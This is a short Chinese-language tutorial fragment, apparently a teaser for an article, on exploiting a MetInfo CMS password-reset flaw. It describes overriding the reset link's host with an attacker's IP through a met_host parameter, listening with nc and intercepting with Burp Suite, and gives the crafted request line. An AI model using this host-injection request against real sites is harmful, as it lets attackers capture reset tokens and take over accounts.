密码重置漏洞利用

密码重置漏洞 密码重置漏洞通常都是重置过程验证不严造成的，我们可以利用这个机制篡改他的密码重置ip地址更改为我们的地址，而后通过“NC”进行监听，获取我们想要的数据 进入监听状态，需要注意的是要注意自己的端口是否冲突，如果冲突需要更改端口号，同时使用burpsuite进行拦截 POST /MetInfo/admin/admin/getpassword.php?met_host=10.10.87.2

>>阅读原文<<